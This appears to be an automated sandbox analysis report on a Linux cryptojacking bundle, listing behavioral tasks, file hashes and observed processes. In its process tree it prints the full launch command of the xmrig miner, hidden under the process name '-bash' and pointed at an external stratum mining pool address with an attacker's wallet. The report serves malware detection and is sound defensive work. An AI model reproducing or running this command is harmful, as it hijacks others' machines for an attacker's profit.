Overview
overview
10Static
static
10users/c
ubuntu-20.04-amd64
1users/h32
ubuntu-20.04-amd64
users/h64
ubuntu-20.04-amd64
1users/md32
ubuntu-18.04-amd64
users/run
ubuntu-18.04-amd64
3users/run
debian-9-armhf
1users/run
debian-9-mips
users/run
debian-9-mipsel
users/stak...4.so.2
ubuntu-20.04-amd64
1users/stak/libc.so.6
ubuntu-20.04-amd64
1users/stak...o.so.1
ubuntu-20.04-amd64
1users/stak/libdl.so.2
ubuntu-20.04-amd64
1users/stak...i.so.6
ubuntu-20.04-amd64
1users/stak....so.20
ubuntu-20.04-amd64
1users/stak....so.10
ubuntu-20.04-amd64
1users/stak....so.30
ubuntu-20.04-amd64
1users/stak...r.so.0
ubuntu-20.04-amd64
1users/stak...d.so.4
ubuntu-20.04-amd64
1users/stak....so.11
ubuntu-20.04-amd64
1users/stak/libm.so.6
ubuntu-18.04-amd64
1users/stak....so.10
ubuntu-20.04-amd64
1users/stak....so.12
ubuntu-20.04-amd64
1users/stak...e.so.6
ubuntu-20.04-amd64
1users/stak...t.so.0
ubuntu-20.04-amd64
1users/stak...d.so.0
ubuntu-20.04-amd64
1users/stak/librt.so.1
ubuntu-20.04-amd64
1users/stak...l.so.1
ubuntu-18.04-amd64
1users/stak...1.so.6
ubuntu-20.04-amd64
1users/stak/libz.so.1
ubuntu-20.04-amd64
1users/stak/xmrig
ubuntu-20.04-amd64
1users/upd
ubuntu-18.04-amd64
1users/upd
debian-9-armhf
1Analysis
-
max time kernel
0s -
max time network
132s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
20-05-2024 00:42
Behavioral task
behavioral1
Sample
users/c
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral2
Sample
users/h32
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral3
Sample
users/h64
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral4
Sample
users/md32
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral5
Sample
users/run
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral6
Sample
users/run
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral7
Sample
users/run
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral8
Sample
users/run
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral9
Sample
users/stak/ld-linux-x86-64.so.2
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral10
Sample
users/stak/libc.so.6
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral11
Sample
users/stak/libcrypto.so.1
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral12
Sample
users/stak/libdl.so.2
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral13
Sample
users/stak/libffi.so.6
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral14
Sample
users/stak/libgcrypt.so.20
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral15
Sample
users/stak/libgmp.so.10
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral16
Sample
users/stak/libgnutls.so.30
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral17
Sample
users/stak/libgpg-error.so.0
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral18
Sample
users/stak/libhogweed.so.4
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral19
Sample
users/stak/libidn.so.11
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral20
Sample
users/stak/libm.so.6
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral21
Sample
users/stak/libmicrohttpd.so.10
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral22
Sample
users/stak/libmicrohttpd.so.12
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral23
Sample
users/stak/libnettle.so.6
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral24
Sample
users/stak/libp11-kit.so.0
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral25
Sample
users/stak/libpthread.so.0
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral26
Sample
users/stak/librt.so.1
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral27
Sample
users/stak/libssl.so.1
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral28
Sample
users/stak/libtasn1.so.6
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral29
Sample
users/stak/libz.so.1
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral30
Sample
users/stak/xmrig
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral31
Sample
users/upd
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral32
Sample
users/upd
Resource
debian9-armhf-20240226-en
General
-
Target
users/run
-
Size
734B
-
MD5
49ef8b988d958b4f0b831b46d8f4048f
-
SHA1
0eb1be6b763183623c60190f86d686db218b2cf6
-
SHA256
bffc503ec83985895a79d2e23acccf2e317ad22e061a798de4db5e76b7aa2844
-
SHA512
28ecf7588da3a5d82a60b6cac9e98db05479beb66a61f14a115348d86bb7fc8ece6f525b3b7e1864a890350bde360609595678c53174d43d3d340c01f790ad97
Malware Config
Signatures
-
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
rundescription ioc process File opened for modification /tmp/users/bash.pid run
Processes
-
/tmp/users/run/tmp/users/run1⤵
- Writes file to tmp directory
-
/usr/bin/nprocnproc2⤵
-
/bin/unameuname -m2⤵
-
/tmp/users/h64./h64 -s -bash ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig -B -a cryptonight -o stratum+tcp://107.191.99.227:2222 -u 46WyHX3L85SAp3oKu1im7EgaVGBsWYhf7KxrebESVE6QHA5vJRab6wF1gsVkYwJfnNV2KYHU1Xq2A9XUYmWhvzPf2E6Nvse -x gay -k "--donate-level=1"1⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
/tmp/users/bash.pidFilesize
5B
MD5353f242b39a96dc7ac581f13eb897961
SHA105645cae9e0e02e1f925b10a418b8cd6dd6db987
SHA256991bd09d2bc169ae52a69f9ec3d29cfa8b8aa2ca9cff242b07e0b246b8f8b16b
SHA5123e8c683e94288dd371b9bf36e8912390324c7718aefe0a9ebbb86b51414110ff54b358e1a17740da19005daf062b172459cb9539733f4f3b25159761eb90468d